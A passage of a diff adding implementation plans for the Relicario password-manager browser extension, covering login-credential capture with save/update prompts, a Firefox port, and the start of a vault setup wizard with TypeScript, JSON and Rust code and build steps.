- **Extension UX**: passphrase prompt, entry list/search, autofill detection

View File

@@ -0,0 +1,845 @@
# Relicario Credential Capture Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Add experimental credential capture that detects login form submissions and prompts the user to save or update credentials, with configurable bar/toast prompt style and per-site blacklist.
**Architecture:** Content script hooks form submissions, captures credentials, asks the service worker to check against the manifest, then injects a prompt (bar or toast) into the page. New settings view in the popup for configuration. Feature is off by default.
**Tech Stack:** TypeScript, Chrome extension APIs, DOM injection
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-credential-capture-design.md`
---
## File Structure
### New files
```
extension/src/content/capture.ts # Form submission detection + prompt injection
extension/src/popup/components/settings.ts # Settings view
```
### Modified files
```
extension/src/shared/types.ts # Add RelicarioSettings interface
extension/src/shared/messages.ts # Add new message types
extension/src/service-worker/index.ts # Handle new messages
extension/src/content/detector.ts # Import and init capture
extension/src/popup/popup.ts # Add 'settings' view
extension/src/popup/components/unlock.ts # Wire settings button to settings view
```
---
## Task 1: Add Types and Message Definitions
**Files:**
- Modify: `extension/src/shared/types.ts`
- Modify: `extension/src/shared/messages.ts`
- [ ] **Step 1: Add RelicarioSettings to types.ts**
Add at the end of `extension/src/shared/types.ts`:
```typescript
export interface RelicarioSettings {
captureEnabled: boolean;
captureStyle: 'bar' | 'toast';
}
export const DEFAULT_SETTINGS: RelicarioSettings = {
captureEnabled: false,
captureStyle: 'bar',
};
```
- [ ] **Step 2: Add new message types to messages.ts**
Add these to the `Request` union in `extension/src/shared/messages.ts`:
```typescript
| { type: 'check_credential'; url: string; username: string; password: string }
| { type: 'blacklist_site'; hostname: string }
| { type: 'get_settings' }
| { type: 'update_settings'; settings: Partial<import('./types').RelicarioSettings> }
| { type: 'get_blacklist' }
| { type: 'remove_blacklist'; hostname: string }
```
- [ ] **Step 3: Commit**
```bash
git add extension/src/shared/types.ts extension/src/shared/messages.ts
git commit -m "feat: add settings and credential capture message types"
```
---
## Task 2: Service Worker Message Handlers
**Files:**
- Modify: `extension/src/service-worker/index.ts`
- [ ] **Step 1: Add settings and blacklist storage helpers**
Add these helper functions to `extension/src/service-worker/index.ts`, after the existing storage helpers:
```typescript
import type { RelicarioSettings } from '../shared/types';
import { DEFAULT_SETTINGS } from '../shared/types';
async function loadSettings(): Promise<RelicarioSettings> {
const data = await chrome.storage.local.get(['settings']);
if (!data.settings) return { ...DEFAULT_SETTINGS };
return { ...DEFAULT_SETTINGS, ...data.settings };
}
async function saveSettings(settings: RelicarioSettings): Promise<void> {
await chrome.storage.local.set({ settings });
}
async function loadBlacklist(): Promise<string[]> {
const data = await chrome.storage.local.get(['captureBlacklist']);
return data.captureBlacklist ?? [];
}
async function saveBlacklist(list: string[]): Promise<void> {
await chrome.storage.local.set({ captureBlacklist: list });
}
```
- [ ] **Step 2: Add message handlers**
Add these cases to the `switch` statement in the message handler, before the `default` case:
```typescript
case 'get_settings': {
const settings = await loadSettings();
return { ok: true, data: settings };
}
case 'update_settings': {
const current = await loadSettings();
const updated = { ...current, ...req.settings };
await saveSettings(updated);
return { ok: true };
}
case 'get_blacklist': {
const list = await loadBlacklist();
return { ok: true, data: { blacklist: list } };
}
case 'remove_blacklist': {
const list = await loadBlacklist();
await saveBlacklist(list.filter(h => h !== req.hostname));
return { ok: true };
}
case 'blacklist_site': {
const list = await loadBlacklist();
if (!list.includes(req.hostname)) {
list.push(req.hostname);
await saveBlacklist(list);
}
return { ok: true };
}
case 'check_credential': {
// If vault is locked, skip
if (!masterKey || !gitHost || !manifest) {
return { ok: true, data: { action: 'skip' } };
}
// Check settings
const settings = await loadSettings();
if (!settings.captureEnabled) {
return { ok: true, data: { action: 'skip' } };
}
// Check blacklist
let hostname: string;
try {
hostname = new URL(req.url).hostname;
} catch {
return { ok: true, data: { action: 'skip' } };
}
const blacklist = await loadBlacklist();
if (blacklist.includes(hostname)) {
return { ok: true, data: { action: 'skip' } };
}
// Find matching entries by hostname
const matches = vault.findByUrl(manifest, req.url);
if (matches.length === 0) {
return { ok: true, data: { action: 'save' } };
}
// Check if any match has the same username
for (const [id, entry] of matches) {
if (entry.username === req.username) {
// Same username — check if password changed
const fullEntry = await vault.fetchAndDecryptEntry(gitHost, masterKey, id);
if (fullEntry.password === req.password) {
// Exact match, already saved
return { ok: true, data: { action: 'skip' } };
} else {
// Password changed
return { ok: true, data: { action: 'update', entryId: id, entryName: entry.name } };
}
}
}
// Different username on same site — new account
return { ok: true, data: { action: 'save' } };
}
```
- [ ] **Step 3: Verify build**
```bash
cd extension && bun run build
```
Expected: Compiles with no errors.
- [ ] **Step 4: Commit**
```bash
git add extension/src/service-worker/index.ts
git commit -m "feat: add settings, blacklist, and credential check handlers"
```
---
## Task 3: Credential Capture Content Script
**Files:**
- Create: `extension/src/content/capture.ts`
- Modify: `extension/src/content/detector.ts`
- [ ] **Step 1: Create capture.ts**
Create `extension/src/content/capture.ts`:
```typescript
/// Credential capture — detects login form submissions and prompts
/// the user to save or update credentials in the vault.
///
/// This module hooks form submit events and submit button clicks,
/// captures username + password, asks the service worker whether to
/// save/update/skip, and injects a prompt (bar or toast) into the page.
// --- Types ---
interface CaptureResult {
action: 'save' | 'update' | 'skip';
entryId?: string;
entryName?: string;
}
type PromptStyle = 'bar' | 'toast';
// Track forms we've already hooked to avoid duplicates.
const hookedForms = new WeakSet<HTMLFormElement>();
const hookedButtons = new WeakSet<HTMLElement>();
// --- Form Submission Detection ---
/// Find the username field associated with a password field.
/// Same priority as detector.ts but inlined to avoid circular deps.
function findUsername(pwField: HTMLInputElement): string {
const form = pwField.closest('form');
const scope = form ?? document;
const inputs = scope.querySelectorAll<HTMLInputElement>('input');
// autocomplete="username"
for (const input of inputs) {
if (input !== pwField && input.autocomplete === 'username' && input.value) return input.value;
}
// autocomplete="email"
for (const input of inputs) {
if (input !== pwField && input.autocomplete === 'email' && input.value) return input.value;
}
// type="email"
for (const input of inputs) {
if (input !== pwField && input.type === 'email' && input.value) return input.value;
}
// name/id pattern
const pattern = /user|email|login|account/i;
for (const input of inputs) {
if (input === pwField || input.type === 'hidden' || input.type === 'password') continue;
if ((pattern.test(input.name) || pattern.test(input.id)) && input.value) return input.value;
}
// Nearest preceding visible text input
const allInputs = Array.from(inputs);
const pwIndex = allInputs.indexOf(pwField);
for (let i = pwIndex - 1; i >= 0; i--) {
const input = allInputs[i];
if (input.type === 'hidden' || input.type === 'password' || input.type === 'submit') continue;
if (input.offsetWidth > 0 && input.offsetHeight > 0 && input.value) return input.value;
}
return '';
}
/// Capture credentials from a form that contains a password field.
function captureFromForm(form: HTMLFormElement): { username: string; password: string } | null {
const pwField = form.querySelector<HTMLInputElement>('input[type="password"]');
if (!pwField || !pwField.value) return null;
const username = findUsername(pwField);
return { username, password: pwField.value };
}
/// Handle a form submission — capture credentials and check with service worker.
async function handleSubmission(form: HTMLFormElement): Promise<void> {
const creds = captureFromForm(form);
if (!creds || !creds.password) return;
const url = window.location.href;
try {
const response = await chrome.runtime.sendMessage({
type: 'check_credential',
url,
username: creds.username,
password: creds.password,
});
if (!response?.ok) return;
const result = response.data as CaptureResult;
if (result.action === 'skip') return;
// Get the prompt style from settings
const settingsResp = await chrome.runtime.sendMessage({ type: 'get_settings' });
const style: PromptStyle = settingsResp?.ok ? (settingsResp.data as { captureStyle: PromptStyle }).captureStyle : 'bar';
showPrompt(style, result, url, creds.username, creds.password);
} catch {
// Extension not available or vault locked — silently skip
}
}
/// Hook form submit events and submit button clicks.
export function hookForms(): void {
const forms = document.querySelectorAll<HTMLFormElement>('form');
for (const form of forms) {
// Only hook forms that contain a password field.
if (!form.querySelector('input[type="password"]')) continue;
if (hookedForms.has(form)) continue;
hookedForms.add(form);
// Hook form submit event.
form.addEventListener('submit', () => {
handleSubmission(form);
});
// Hook submit button clicks (some sites don't use form submit).
const submitBtns = form.querySelectorAll<HTMLElement>(
'button[type="submit"], input[type="submit"], button:not([type])'
);
for (const btn of submitBtns) {
if (hookedButtons.has(btn)) continue;
hookedButtons.add(btn);
btn.addEventListener('click', () => {
handleSubmission(form);
});
}
}
}
// --- Prompt UI ---
/// Remove any existing relicario prompt from the page.
function removePrompt(): void {
document.getElementById('relicario-capture-prompt')?.remove();
}
/// Show a save/update prompt.
function showPrompt(
style: PromptStyle,
result: CaptureResult,
url: string,
username: string,
password: string,
): void {
removePrompt();
let hostname: string;
try {
hostname = new URL(url).hostname;
} catch {
hostname = url;
}
const isUpdate = result.action === 'update';
const actionLabel = isUpdate ? 'Update' : 'Save';
const message = isUpdate
? `Update password for ${hostname}?`
: `Save login for ${hostname}?`;
const container = document.createElement('div');
container.id = 'relicario-capture-prompt';
// Common styles
const baseStyles = `
font-family: 'JetBrains Mono', 'Cascadia Code', 'Fira Code', monospace;
font-size: 13px;
color: #c9d1d9;
background: #161b22;
border: 1px solid #30363d;
z-index: 2147483647;
box-sizing: border-box;
`;
if (style === 'bar') {
container.style.cssText = `
${baseStyles}
position: fixed;
top: 0;
left: 0;
right: 0;
padding: 10px 16px;
display: flex;
align-items: center;
gap: 12px;
border-top: none;
border-left: none;
border-right: none;
box-shadow: 0 2px 8px rgba(0,0,0,0.4);
transform: translateY(-100%);
transition: transform 0.2s ease-out;
`;
// Slide in after a frame
requestAnimationFrame(() => {
requestAnimationFrame(() => {
container.style.transform = 'translateY(0)';
});
});
} else {
container.style.cssText = `
${baseStyles}
position: fixed;
bottom: 16px;
right: 16px;
padding: 12px 16px;
border-radius: 4px;
min-width: 260px;
max-width: 340px;
box-shadow: 0 4px 12px rgba(0,0,0,0.4);
opacity: 0;
transition: opacity 0.2s ease-out;
`;
requestAnimationFrame(() => {
container.style.opacity = '1';
});
// Auto-dismiss after 15 seconds.
setTimeout(() => {
if (container.isConnected) {
container.style.opacity = '0';
setTimeout(removePrompt, 200);
}
}, 15000);
}
// Brand label
const brand = document.createElement('span');
brand.textContent = 'relicario';
brand.style.cssText = 'color: #58a6ff; font-weight: normal; letter-spacing: 1px;';
// Message text
const msg = document.createElement('span');
msg.style.cssText = 'flex: 1;';
if (style === 'bar') {
msg.textContent = `${message} ${username ? `(${username})` : ''}`;
} else {
msg.innerHTML = `${escapeHtml(message)}<br><span style="color:#8b949e;font-size:11px;">${escapeHtml(username)}</span>`;
}
// Buttons
const btnStyle = `
font-family: inherit;
font-size: 11px;
padding: 4px 12px;
border-radius: 2px;
cursor: pointer;
border: none;
`;
const saveBtn = document.createElement('button');
saveBtn.textContent = actionLabel;
saveBtn.style.cssText = `${btnStyle} background: #1f6feb; color: #fff;`;
const neverBtn = document.createElement('button');
neverBtn.textContent = 'Never';
neverBtn.style.cssText = `${btnStyle} background: #21262d; color: #8b949e; border: 1px solid #30363d;`;
const closeBtn = document.createElement('button');
closeBtn.textContent = '✕';
closeBtn.style.cssText = `${btnStyle} background: transparent; color: #484f58; font-size: 14px; padding: 4px 8px;`;
// Event handlers
saveBtn.addEventListener('click', async () => {
saveBtn.disabled = true;
saveBtn.textContent = '...';
try {
if (isUpdate && result.entryId) {
// Fetch existing entry, update password
const getResp = await chrome.runtime.sendMessage({ type: 'get_entry', id: result.entryId });
if (getResp?.ok) {
const existing = (getResp.data as { entry: Record<string, unknown> }).entry;
await chrome.runtime.sendMessage({
type: 'update_entry',
id: result.entryId,
entry: { ...existing, password },
});
}
} else {
await chrome.runtime.sendMessage({
type: 'add_entry',
entry: {
name: hostname,
url,
username: username || undefined,
password,
created_at: new Date().toISOString(),
updated_at: new Date().toISOString(),
},
});
}
// Brief confirmation
msg.textContent = isUpdate ? '✓ Updated' : '✓ Saved';
saveBtn.remove();
neverBtn.remove();
setTimeout(removePrompt, 1500);
} catch {
saveBtn.textContent = 'Error';
setTimeout(removePrompt, 2000);
}
});
neverBtn.addEventListener('click', async () => {
await chrome.runtime.sendMessage({ type: 'blacklist_site', hostname });
removePrompt();
});
closeBtn.addEventListener('click', removePrompt);
// Assemble
if (style === 'bar') {
container.appendChild(brand);
container.appendChild(msg);
container.appendChild(saveBtn);
container.appendChild(neverBtn);
container.appendChild(closeBtn);
} else {
const header = document.createElement('div');
header.style.cssText = 'display:flex; justify-content:space-between; align-items:center; margin-bottom:8px;';
header.appendChild(brand);
header.appendChild(closeBtn);
const body = document.createElement('div');
body.style.cssText = 'margin-bottom:10px;';
body.appendChild(msg);
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; justify-content:flex-end;';
actions.appendChild(neverBtn);
actions.appendChild(saveBtn);
container.appendChild(header);
container.appendChild(body);
container.appendChild(actions);
}
document.body.appendChild(container);
}
function escapeHtml(s: string): string {
const div = document.createElement('div');
div.textContent = s;
return div.innerHTML;
}
```
- [ ] **Step 2: Import and init capture in detector.ts**
Add to the top of `extension/src/content/detector.ts`, after the existing imports:
```typescript
import { hookForms } from './capture';
```
Add `hookForms()` calls in two places:
After the `scan()` call near the bottom (line ~91):
```typescript
// Initial scan.
scan();
hookForms();
```
Inside the MutationObserver callback (line ~95):
```typescript
const observer = new MutationObserver(() => {
scan();
hookForms();
});
```
- [ ] **Step 3: Build and verify**
```bash
cd extension && bun run build
```
Expected: Compiles with no errors.
- [ ] **Step 4: Commit**
```bash
git add extension/src/content/capture.ts extension/src/content/detector.ts
git commit -m "feat: add credential capture with bar/toast prompts"
```
---
## Task 4: Settings View in Popup
**Files:**
- Create: `extension/src/popup/components/settings.ts`
- Modify: `extension/src/popup/popup.ts`
- Modify: `extension/src/popup/components/unlock.ts`
- [ ] **Step 1: Create settings.ts**
Create `extension/src/popup/components/settings.ts`:
```typescript
/// Settings view — configure credential capture and manage blacklist.
import { setState, sendMessage, navigate, escapeHtml } from '../popup';
import type { RelicarioSettings } from '../../shared/types';
export async function renderSettings(app: HTMLElement): Promise<void> {
// Load current settings and blacklist in parallel.
const [settingsResp, blacklistResp] = await Promise.all([
sendMessage({ type: 'get_settings' }),
sendMessage({ type: 'get_blacklist' }),
]);
const settings: RelicarioSettings = settingsResp.ok
? settingsResp.data as RelicarioSettings
: { captureEnabled: false, captureStyle: 'bar' };
const blacklist: string[] = blacklistResp.ok
? (blacklistResp.data as { blacklist: string[] }).blacklist
: [];
app.innerHTML = `
<div class="pad" style="padding-top:12px;">
<div style="margin-bottom:16px;">
<span class="secondary" style="cursor:pointer;font-size:11px;" id="back-btn">← back</span>
</div>
<div class="brand" style="margin-bottom:16px;">settings</div>
<div class="form-group" style="margin-bottom:16px;">
<div class="label">CREDENTIAL CAPTURE <span class="muted">(experimental)</span></div>
<div style="display:flex;align-items:center;gap:8px;margin-top:6px;">
<label style="display:flex;align-items:center;gap:6px;cursor:pointer;font-size:12px;">
<input type="checkbox" id="capture-toggle" ${settings.captureEnabled ? 'checked' : ''}>
auto-detect logins
</label>
</div>
</div>
<div class="form-group" style="margin-bottom:16px;">
<div class="label">PROMPT STYLE</div>
<div style="display:flex;gap:8px;margin-top:6px;">
<button class="group-tab ${settings.captureStyle === 'bar' ? 'active' : ''}" data-style="bar">bar</button>
<button class="group-tab ${settings.captureStyle === 'toast' ? 'active' : ''}" data-style="toast">toast</button>
</div>
</div>
${blacklist.length > 0 ? `
<div class="form-group">
<div class="label">BLACKLISTED SITES</div>
<div style="margin-top:6px;">
${blacklist.map(h => `
<div style="display:flex;justify-content:space-between;align-items:center;padding:3px 0;font-size:11px;">
<span class="secondary">${escapeHtml(h)}</span>
<span class="muted" style="cursor:pointer;" data-remove-host="${escapeHtml(h)}">✕</span>
</div>
`).join('')}
</div>
</div>
` : ''}
</div>
`;
// --- Event listeners ---
document.getElementById('back-btn')?.addEventListener('click', () => {
navigate('locked');
});
document.getElementById('capture-toggle')?.addEventListener('change', async (e) => {
const enabled = (e.target as HTMLInputElement).checked;
await sendMessage({ type: 'update_settings', settings: { captureEnabled: enabled } });
});
document.querySelectorAll('[data-style]').forEach(btn => {
btn.addEventListener('click', async () => {
const style = (btn as HTMLElement).dataset.style as 'bar' | 'toast';
await sendMessage({ type: 'update_settings', settings: { captureStyle: style } });
// Re-render to update active state.
renderSettings(app);
});
});
document.querySelectorAll('[data-remove-host]').forEach(btn => {
btn.addEventListener('click', async () => {
const hostname = (btn as HTMLElement).dataset.removeHost!;
await sendMessage({ type: 'remove_blacklist', hostname });
// Re-render to remove from list.
renderSettings(app);
});
});
}
```
- [ ] **Step 2: Add 'settings' view to popup.ts**
In `extension/src/popup/popup.ts`:
Add the import at the top with the other component imports:
```typescript
import { renderSettings } from './components/settings';
```
Update the `View` type:
```typescript
export type View = 'setup' | 'locked' | 'list' | 'detail' | 'add' | 'edit' | 'settings';
```
Add the case to the `render()` switch:
```typescript
case 'settings':
renderSettings(app);
break;
```
- [ ] **Step 3: Wire settings button in unlock.ts**
In `extension/src/popup/components/unlock.ts`, change the settings button handler (line ~55):
From:
```typescript
settingsBtn?.addEventListener('click', () => navigate('setup'));
```
To:
```typescript
settingsBtn?.addEventListener('click', () => navigate('settings'));
```
- [ ] **Step 4: Build and verify**
```bash
cd extension && bun run build
```
Expected: Compiles with no errors.
- [ ] **Step 5: Commit**
```bash
git add extension/src/popup/components/settings.ts extension/src/popup/popup.ts extension/src/popup/components/unlock.ts
git commit -m "feat: add settings view with capture toggle and blacklist management"
```
---
## Task 5: Build and Manual Test
**Files:** None (integration testing)
- [ ] **Step 1: Full build**
```bash
cd extension && bun run build
```
Expected: Compiles with no errors (warnings about WASM size are fine).
- [ ] **Step 2: Reload extension in Chrome**
Open `chrome://extensions/`, reload the unpacked extension.
- [ ] **Step 3: Test settings view**
1. Open popup → click "settings" from unlock screen
2. Verify toggle for "auto-detect logins" (should be off by default)
3. Toggle it on
4. Verify bar/toast style selector works
5. Go back to unlock screen
- [ ] **Step 4: Test credential capture (bar mode)**
1. Enable capture in settings, set style to "bar"
2. Unlock the vault
3. Navigate to a login page (e.g. GitHub)
4. Enter credentials and submit the form
5. Verify: notification bar slides down from top with "Save login for github.com?"
6. Click "Save" — verify entry appears in vault
7. Submit same credentials again — verify no prompt (already saved)
8. Change password and submit — verify "Update password?" prompt
- [ ] **Step 5: Test credential capture (toast mode)**
1. Change style to "toast" in settings
2. Submit a login form on a new site
3. Verify: floating toast appears in bottom-right
4. Verify: auto-dismisses after ~15 seconds if ignored
- [ ] **Step 6: Test blacklist**
1. Click "Never" on a capture prompt
2. Submit login on same site again — verify no prompt
3. Open settings — verify site appears in blacklist
4. Remove site from blacklist — verify it's gone
- [ ] **Step 7: Fix any issues found**
- [ ] **Step 8: Final commit**
```bash
git add -A
git commit -m "feat: complete credential capture feature"
```
---
## Task Summary
| Task | Description | Dependencies |
|------|-------------|--------------|
| 1 | Add types and message definitions | None |
| 2 | Service worker message handlers | Task 1 |
| 3 | Capture content script + detector integration | Task 1 |
| 4 | Settings view in popup | Task 1 |
| 5 | Build and manual test | All |
Tasks 2, 3, and 4 can run in parallel after Task 1. Task 5 is final integration.

View File

@@ -0,0 +1,323 @@
# Relicario Firefox Extension Port Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Port the Chrome extension to Firefox with shared TypeScript source, a Firefox-specific manifest, and a separate webpack build target.
**Architecture:** All TypeScript source is shared. The only code change is an environment check in `index.ts` for WASM loading (service worker vs background script). A second webpack config produces `dist-firefox/` with the Firefox manifest.
**Tech Stack:** TypeScript, webpack, Firefox WebExtensions MV3
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-firefox-extension-design.md`
---
## File Structure
### New files
```
extension/manifest.firefox.json # Firefox-specific manifest
extension/webpack.firefox.config.js # Webpack config for Firefox build
```
### Modified files
```
extension/src/service-worker/index.ts # Environment-aware WASM loading
extension/package.json # Add Firefox build scripts
.gitignore # Add extension/dist-firefox/
```
---
## Task 1: Firefox Manifest and Webpack Config
**Files:**
- Create: `extension/manifest.firefox.json`
- Create: `extension/webpack.firefox.config.js`
- Modify: `extension/package.json`
- Modify: `.gitignore`
- [ ] **Step 1: Create Firefox manifest**
Create `extension/manifest.firefox.json`:
```json
{
"manifest_version": 3,
"name": "relicario",
"version": "0.1.0",
"description": "Two-factor encrypted password manager",
"browser_specific_settings": {
"gecko": {
"id": "relicario@adlee.work",
"strict_min_version": "128.0"
}
},
"permissions": ["storage", "activeTab", "clipboardWrite"],
"host_permissions": ["<all_urls>"],
"background": {
"scripts": ["service-worker.js"]
},
"action": {
"default_popup": "popup.html",
"default_icon": {
"16": "icons/icon-16.png",
"48": "icons/icon-48.png",
"128": "icons/icon-128.png"
}
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}
],
"content_security_policy": {
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
},
"web_accessible_resources": [
{
"resources": [
"setup.html",
"setup.js",
"styles.css",
"relicario_wasm_bg.wasm",
"relicario_wasm.js"
]
}
]
}
```
- [ ] **Step 2: Create Firefox webpack config**
Create `extension/webpack.firefox.config.js`:
```javascript
const path = require('path');
const CopyPlugin = require('copy-webpack-plugin');
module.exports = {
entry: {
'service-worker': './src/service-worker/index.ts',
popup: './src/popup/popup.ts',
content: './src/content/detector.ts',
setup: './src/setup/setup.ts',
},
output: {
path: path.resolve(__dirname, 'dist-firefox'),
filename: '[name].js',
clean: true,
},
resolve: {
extensions: ['.ts', '.js'],
},
module: {
rules: [{ test: /\.ts$/, use: 'ts-loader', exclude: /node_modules/ }],
},
plugins: [
new CopyPlugin({
patterns: [
{ from: 'manifest.firefox.json', to: 'manifest.json' },
{ from: 'src/popup/index.html', to: 'popup.html' },
{ from: 'src/popup/styles.css', to: 'styles.css' },
{ from: 'setup.html', to: '.' },
{ from: 'icons', to: 'icons' },
{ from: 'wasm/relicario_wasm_bg.wasm', to: '.' },
{ from: 'wasm/relicario_wasm.js', to: '.' },
],
}),
],
experiments: { asyncWebAssembly: true },
};
```
- [ ] **Step 3: Add Firefox build scripts to package.json**
In `extension/package.json`, update the `scripts` section:
```json
{
"scripts": {
"build": "webpack --mode production",
"build:firefox": "webpack --config webpack.firefox.config.js --mode production",
"build:all": "npm run build:wasm && npm run build && npm run build:firefox",
"dev": "webpack --mode development --watch",
"dev:firefox": "webpack --config webpack.firefox.config.js --mode development --watch",
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm"
}
}
```
- [ ] **Step 4: Add `dist-firefox/` to `.gitignore`**
Append to the root `.gitignore`:
```
extension/dist-firefox/
```
- [ ] **Step 5: Commit**
```bash
git add extension/manifest.firefox.json extension/webpack.firefox.config.js extension/package.json .gitignore
git commit -m "feat: add Firefox manifest and webpack config"
```
---
## Task 2: Environment-Aware WASM Loading
**Files:**
- Modify: `extension/src/service-worker/index.ts`
- [ ] **Step 1: Update the WASM init function**
In `extension/src/service-worker/index.ts`, replace the current `initWasm` function and its surrounding comments (lines 23-49) with:
```typescript
// --- WASM initialization ---
// Chrome MV3 uses service workers which do NOT support dynamic import().
// Firefox MV3 uses background scripts which DO support dynamic import().
// We detect the environment at runtime and use the appropriate loading strategy.
//
// The JS glue is imported statically so webpack bundles it. Both initSync
// (Chrome) and the default export (Firefox) are available.
// @ts-ignore TS2307 — resolved by webpack alias / copy
import initDefault, { initSync } from '../../wasm/relicario_wasm.js';
// @ts-ignore TS2307
import * as wasmBindings from '../../wasm/relicario_wasm.js';
type WasmModule = typeof wasmBindings;
let wasm: WasmModule | null = null;
async function initWasm(): Promise<WasmModule> {
if (wasm) return wasm;
const isServiceWorker = typeof ServiceWorkerGlobalScope !== 'undefined'
&& self instanceof ServiceWorkerGlobalScope;
if (isServiceWorker) {
// Chrome: fetch WASM binary and instantiate synchronously
const wasmResponse = await fetch(chrome.runtime.getURL('relicario_wasm_bg.wasm'));
const wasmBytes = await wasmResponse.arrayBuffer();
initSync({ module: new WebAssembly.Module(wasmBytes) });
} else {
// Firefox: background script — dynamic init works
const wasmUrl = chrome.runtime.getURL('relicario_wasm_bg.wasm');
await initDefault(wasmUrl);
}
vault.setWasm(wasmBindings);
wasm = wasmBindings;
wasmReady = true;
return wasm;
}
```
- [ ] **Step 2: Update the module doc comment**
Change the doc comment at the top of the file (line 1) from:
```typescript
/// Service worker entry point for the relicario Chrome extension.
```
To:
```typescript
/// Background script entry point for the relicario browser extension.
///
/// In Chrome this runs as a service worker (MV3). In Firefox this runs
/// as a persistent background script. WASM loading adapts automatically.
```
- [ ] **Step 3: Build both targets**
```bash
cd extension && bun run build && bun run build:firefox
```
Expected: Both builds succeed with 0 errors.
- [ ] **Step 4: Commit**
```bash
git add extension/src/service-worker/index.ts
git commit -m "feat: add environment-aware WASM loading for Chrome/Firefox"
```
---
## Task 3: Build and Manual Test
**Files:** None (integration testing)
- [ ] **Step 1: Verify Chrome build still works**
```bash
cd extension && bun run build
```
Expected: `dist/` output, 0 errors. Reload in Chrome — unlock, list, autofill all work.
- [ ] **Step 2: Build Firefox**
```bash
bun run build:firefox
```
Expected: `dist-firefox/` output with `manifest.json` (Firefox version), all JS bundles, WASM files, icons.
- [ ] **Step 3: Verify Firefox manifest**
```bash
cat dist-firefox/manifest.json | grep -E "gecko|background"
```
Expected: `browser_specific_settings.gecko.id` present, `background.scripts` (not `service_worker`).
- [ ] **Step 4: Load in Firefox**
1. Open Firefox
2. Navigate to `about:debugging#/runtime/this-firefox`
3. Click "Load Temporary Add-on..."
4. Select `extension/dist-firefox/manifest.json`
5. Extension icon appears in toolbar
- [ ] **Step 5: Test basic flow**
1. Click extension icon — popup opens, shows setup prompt (or unlock if already configured)
2. Open `setup.html` via the setup button — full-page wizard loads
3. Configure vault (or verify it's already configured from Chrome)
4. Unlock with passphrase — entry list appears
5. Navigate entries, check TOTP countdown works
6. Visit a login page — field icon appears
7. Test autofill
8. If credential capture is enabled, test save prompt appears on form submit
- [ ] **Step 6: Fix any Firefox-specific issues**
- [ ] **Step 7: Final commit**
```bash
git add -A
git commit -m "feat: complete Firefox extension port"
```
---
## Task Summary
| Task | Description | Dependencies |
|------|-------------|--------------|
| 1 | Firefox manifest + webpack config + scripts | None |
| 2 | Environment-aware WASM loading | None |
| 3 | Build and manual test | Tasks 1, 2 |
Tasks 1 and 2 are independent and can run in parallel.

View File

@@ -0,0 +1,955 @@
# Relicario Vault Initialization Wizard Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Build a browser-based wizard that creates a new Relicario vault, pushes it to Gitea/GitHub via API, downloads the reference image, and optionally configures the Chrome extension.
**Architecture:** Single HTML page (`extension/setup.html`) bundled by webpack as a new entry point. Reuses the existing git API layer and WASM module. New `embed_image_secret` function added to the WASM crate. The wizard runs entirely client-side — all crypto happens in the browser via WASM.
**Tech Stack:** TypeScript, wasm-bindgen (existing WASM crate), webpack, Chrome extension APIs
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-init-wizard-design.md`
---
## File Structure
### Rust (modified)
```
crates/relicario-wasm/src/lib.rs # Add embed_image_secret function
```
### Extension (new)
```
extension/
├── setup.html # Standalone wizard page
└── src/
└── setup/
└── setup.ts # 4-step wizard logic
```
### Extension (modified)
```
extension/webpack.config.js # Add 'setup' entry point + copy setup.html
extension/manifest.json # Add web_accessible_resources for setup.html
```
---
## Task 1: Add `embed_image_secret` to WASM Crate
**Files:**
- Modify: `crates/relicario-wasm/src/lib.rs`
- [ ] **Step 1: Write the test**
Add to the `#[cfg(test)] mod tests` block in `crates/relicario-wasm/src/lib.rs`:
```rust
#[test]
fn embed_then_extract_round_trip() {
// Create a synthetic test JPEG (same approach as relicario-core tests)
use image::codecs::jpeg::JpegEncoder;
use image::{ImageBuffer, ImageEncoder, Rgb};
let img = ImageBuffer::from_fn(400, 300, |x, y| {
Rgb([
((x * 7 + y * 13) % 256) as u8,
((x * 11 + y * 3) % 256) as u8,
((x * 5 + y * 17) % 256) as u8,
])
});
let mut jpeg_buf = Vec::new();
let encoder = JpegEncoder::new_with_quality(&mut jpeg_buf, 92);
encoder
.write_image(img.as_raw(), 400, 300, image::ExtendedColorType::Rgb8)
.unwrap();
let secret = [0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04,
0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C,
0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14,
0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1Cu8];
let stego = embed_image_secret(&jpeg_buf, &secret).unwrap();
let extracted = extract_image_secret(&stego).unwrap();
assert_eq!(extracted, secret);
}
```
- [ ] **Step 2: Run test to verify it fails**
Run: `cargo test -p relicario-wasm embed_then_extract`
Expected: FAIL — `embed_image_secret` not defined.
- [ ] **Step 3: Add `image` dev-dependency to Cargo.toml**
Add to `crates/relicario-wasm/Cargo.toml` under `[dev-dependencies]`:
```toml
[dev-dependencies]
wasm-bindgen-test = "0.3"
image = { version = "0.25", default-features = false, features = ["jpeg"] }
```
- [ ] **Step 4: Implement the function**
Add to `crates/relicario-wasm/src/lib.rs`, after the `extract_image_secret` function:
```rust
/// Embed a 256-bit secret into a carrier JPEG image.
///
/// Takes the raw bytes of a JPEG image and a 32-byte secret, returns the
/// modified JPEG with the secret embedded via DCT steganography.
///
/// The returned JPEG should be saved as the "reference image" — the user
/// needs it alongside their passphrase to unlock the vault.
#[wasm_bindgen]
